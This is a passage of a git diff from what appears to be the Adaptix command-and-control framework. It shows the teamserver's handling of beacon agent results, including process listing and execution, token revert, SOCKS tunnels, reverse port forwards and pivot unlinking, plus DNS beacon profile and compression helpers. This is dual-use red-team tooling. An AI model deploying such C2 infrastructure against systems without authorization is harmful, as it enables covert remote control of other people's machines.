childPrefix += "│ " + } + + for i, child := range node.Children { + formatTree(child, childPrefix, i == len(node.Children)-1) + } + } + + for i, root := range roots { + formatTree(root, "", i == len(roots)-1) + } + + OutputText += "\n" + strings.Join(lines, "\n") + task.Message = "Process list:" + task.ClearText = OutputText + } + Ts.TsClientGuiProcessWindows(task, proclist) + + case COMMAND_PS_KILL: + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + pid := packer.ParseInt32() + task.Message = fmt.Sprintf("Process %d killed", pid) + + case COMMAND_PS_RUN: + if false == packer.CheckPacker([]string{"int", "byte", "array"}) { + goto HANDLER + } + pid := packer.ParseInt32() + isOutput := packer.ParseInt8() + prog := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + + status := "no output" + if isOutput > 0 { + status = "with output" + } + + task.Completed = false + task.Message = fmt.Sprintf("Program %v started with PID %d (output - %v)", prog, pid, status) + + case COMMAND_PWD: + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + task.Message = "Current working directory:" + task.ClearText = path + + case COMMAND_REV2SELF: + task.Message = "Token reverted successfully" + emptyImpersonate := "" + _ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct { + Impersonated *string `json:"impersonated"` + }{Impersonated: &emptyImpersonate}) + + case COMMAND_RM: + if false == packer.CheckPacker([]string{"byte"}) { + goto HANDLER + } + result := packer.ParseInt8() + if result == 0 { + task.Message = "File deleted successfully" + } else { + task.Message = "Directory deleted successfully" + } + + case COMMAND_TUNNEL_START_TCP: + if false == packer.CheckPacker([]string{"byte"}) { + goto HANDLER + } + + channelId := int(TaskId) + _ = packer.ParseInt32() + result := packer.ParseInt32() + if result == 0 { + Ts.TsTunnelConnectionResume(agentData.Id, channelId, false) + } else if result == 1 { + Ts.TsTunnelConnectionClose(channelId) + } else { + errorCode := SOCKS5_HOST_UNREACHABLE + if result == 10061 { // WSAECONNREFUSED + errorCode = SOCKS5_CONNECTION_REFUSED + } + Ts.TsTunnelConnectionHalt(channelId, errorCode) + } + + case COMMAND_TUNNEL_WRITE_TCP: + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + + channelId := int(TaskId) + data := packer.ParseBytes() + Ts.TsTunnelConnectionData(channelId, data) + + case COMMAND_TUNNEL_REVERSE: + if false == packer.CheckPacker([]string{"byte"}) { + goto HANDLER + } + var err error + tunnelId := int(TaskId) + _ = packer.ParseInt32() + result := packer.ParseInt32() + if result == 0 { + task.TaskId, task.Message, err = Ts.TsTunnelUpdateRportfwd(tunnelId, true) + } else { + task.TaskId, task.Message, err = Ts.TsTunnelUpdateRportfwd(tunnelId, false) + } + + if err != nil { + task.MessageType = MESSAGE_ERROR + } else { + task.MessageType = MESSAGE_SUCCESS + } + + case COMMAND_TUNNEL_ACCEPT: + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + tunnelId := int(TaskId) + channelId := int(packer.ParseInt32()) + Ts.TsTunnelConnectionAccept(tunnelId, channelId) + + case COMMAND_TERMINATE: + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + exitMethod := packer.ParseInt32() + if exitMethod == 1 { + task.Message = "The agent has completed its work (kill thread)" + } else if exitMethod == 2 { + task.Message = "The agent has completed its work (kill process)" + } + + _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId) + + case COMMAND_UNLINK: + if false == packer.CheckPacker([]string{"int", "byte"}) { + goto HANDLER + } + + pivotId := fmt.Sprintf("%08x", packer.ParseInt32()) + pivotType := packer.ParseInt8() + + messageParent := "" + messageChild := "" + _, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId) + + if pivotType == 1 { + messageParent = fmt.Sprintf("SMB agent disconnected %s", childAgentId) + messageChild = fmt.Sprintf(" ----- SMB agent disconnected from [%s] ----- ", parentAgentId) + } else if pivotType == 2 { + messageParent = fmt.Sprintf("TCP agent %s connection reset", childAgentId) + messageChild = fmt.Sprintf(" ----- TCP agent connection reset ----- ") + } else if pivotType == 10 { + messageParent = fmt.Sprintf("Pivot agent %s connection reset", childAgentId) + messageChild = fmt.Sprintf(" ----- Pivot agent connection reset ----- ") + } + + if pivotType != 0 { + _ = Ts.TsPivotDelete(pivotId) + if TaskId == 0 { + Ts.TsAgentConsoleOutput(parentAgentId, MESSAGE_SUCCESS, messageParent, "\n", true) + } else { + task.Message = messageParent + } + Ts.TsAgentConsoleOutput(childAgentId, MESSAGE_SUCCESS, messageChild, "\n", true) + } + + case COMMAND_UPLOAD: + task.Message = "File successfully uploaded" + Ts.TsClientGuiFilesStatus(task) + + case COMMAND_ERROR: + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + errorCode := packer.ParseInt32() + task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode)) + task.MessageType = MESSAGE_ERROR + + default: + continue } - return data, false + + outTasks = append(outTasks, task) } - // Uncompressed: payload length must match origLen - if len(payload) == origLen { - return payload, true +HANDLER: + + /// END CODE + + for _, task := range outTasks { + Ts.TsTaskUpdate(agentData.Id, task) } - return data, false + return nil } diff --git a/AdaptixServer/extenders/beacon_agent/pl_utils.go b/AdaptixServer/extenders/beacon_agent/pl_utils.go index ef632bd7..2d39e53d 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_utils.go +++ b/AdaptixServer/extenders/beacon_agent/pl_utils.go @@ -1,13 +1,19 @@ package main import ( + "bytes" + "compress/zlib" "crypto/rc4" "errors" "fmt" + "io" + "math/rand" "net" "regexp" "strconv" "strings" + + adaptix "github.com/Adaptix-Framework/axc2" ) const ( @@ -94,6 +100,41 @@ const ( BOF_ERROR_ALLOC = 0x105 ) +// DNS Constants +const ( + dnsDefaultLabelSize = 48 + dnsMaxLabelSize = 63 + dnsFrameHeaderSize = 5 // flags:1 + origLen:4 + dnsCompressFlag = 0x1 +) + +func CreateTaskCommandSaveMemory(ts Teamserver, agentId string, buffer []byte) int { + chunkSize := 0x100000 // 1Mb + memoryId := int(rand.Uint32()) + + bufferSize := len(buffer) + + taskData := adaptix.TaskData{ + Type: TYPE_TASK, + AgentId: agentId, + Sync: false, + } + + for start := 0; start < bufferSize; start += chunkSize { + fin := start + chunkSize + if fin > bufferSize { + fin = bufferSize + } + + array := []interface{}{COMMAND_SAVEMEMORY, memoryId, bufferSize, fin - start, buffer[start:fin]} + taskData.Data, _ = PackArray(array) + taskData.TaskId = fmt.Sprintf("%08x", rand.Uint32()) + + ts.TsTaskCreate(agentId, "", "", taskData) + } + return memoryId +} + func GetOsVersion(majorVersion uint8, minorVersion uint8, buildNumber uint, isServer bool, systemArch string) (int, string) { var ( desc string @@ -236,3 +277,111 @@ func formatBurstStatus(enabled int, sleepMs int, jitterPct int) string { } return fmt.Sprintf("on (sleep=%dms, jitter=%d%%)", sleepMs, jitterPct) } + +func buildDNSProfileParams(generateConfig GenerateConfig, listenerMap map[string]any, + listenerWM string, agentWatermark int64, killDate int, workingTime int) ([]interface{}, error) { + + domain, _ := listenerMap["domain"].(string) + + resolvers := generateConfig.DnsResolvers + if resolvers == "" { + resolvers, _ = listenerMap["resolvers"].(string) + } + qtype, _ := listenerMap["qtype"].(string) + + pktSizeF, _ := listenerMap["pkt_size"].(float64) + ttlF, _ := listenerMap["ttl"].(float64) + labelSizeF, _ := listenerMap["label_size"].(float64) + + pktSize := int(pktSizeF) + ttl := int(ttlF) + labelSize := int(labelSizeF) + if labelSize <= 0 || labelSize > dnsMaxLabelSize { + labelSize = dnsDefaultLabelSize + } + + seconds, err := parseDurationToSeconds(generateConfig.Sleep) + if err != nil { + return nil, err + } + + lWatermark, _ := strconv.ParseInt(listenerWM, 16, 64) + + burstEnabledF, _ := listenerMap["burst_enabled"].(bool) + burstSleepF, _ := listenerMap["burst_sleep"].(float64) + burstJitterF, _ := listenerMap["burst_jitter"].(float64) + + burstEnabled := 0 + if burstEnabledF { + burstEnabled = 1 + } + burstSleep := int(burstSleepF) + if burstSleep <= 0 { + burstSleep = 50 + } + burstJitter := int(burstJitterF) + if burstJitter < 0 || burstJitter > 90 { + burstJitter = 0 + } + + params := []interface{}{ + int(agentWatermark), + // ProfileDNS + domain, + resolvers, + qtype, + pktSize, + labelSize, + ttl, + burstEnabled, + burstSleep, + burstJitter, + // Common tail + int(lWatermark), + killDate, + workingTime, + seconds, + generateConfig.Jitter, + } + + return params, nil +} + +func appendDNSObjectFiles(files string, objectDir string, ext string) string { + files += objectDir + "/DnsCodec" + ext + " " + files += objectDir + "/miniz" + ext + " " + return files +} + +func decompressZlibData(data []byte) ([]byte, bool) { + if len(data) < dnsFrameHeaderSize { + return data, false + } + flags := data[0] + origLen := int(data[1]) | int(data[2])<<8 | int(data[3])<<16 | int(data[4])<<24 + + if origLen <= 0 { + return data, false + } + + payload := data[dnsFrameHeaderSize:] + if (flags & dnsCompressFlag) != 0 { + r, err := zlib.NewReader(bytes.NewReader(payload)) + if err != nil { + return data, false + } + var buf bytes.Buffer + _, err = io.Copy(&buf, r) + _ = r.Close() + if err == nil && buf.Len() == origLen { + return buf.Bytes(), true + } + return data, false + } + + if len(payload) == origLen { + return payload, true + } + + return data, false +}